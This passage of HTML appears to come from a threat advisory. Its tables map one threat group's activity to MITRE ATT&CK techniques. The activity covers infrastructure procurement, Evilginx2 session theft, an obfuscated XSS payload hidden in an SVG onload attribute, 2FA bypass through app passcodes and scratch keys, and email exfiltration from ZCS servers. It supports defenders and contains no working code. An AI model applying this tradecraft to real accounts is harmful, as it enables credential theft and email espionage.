<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
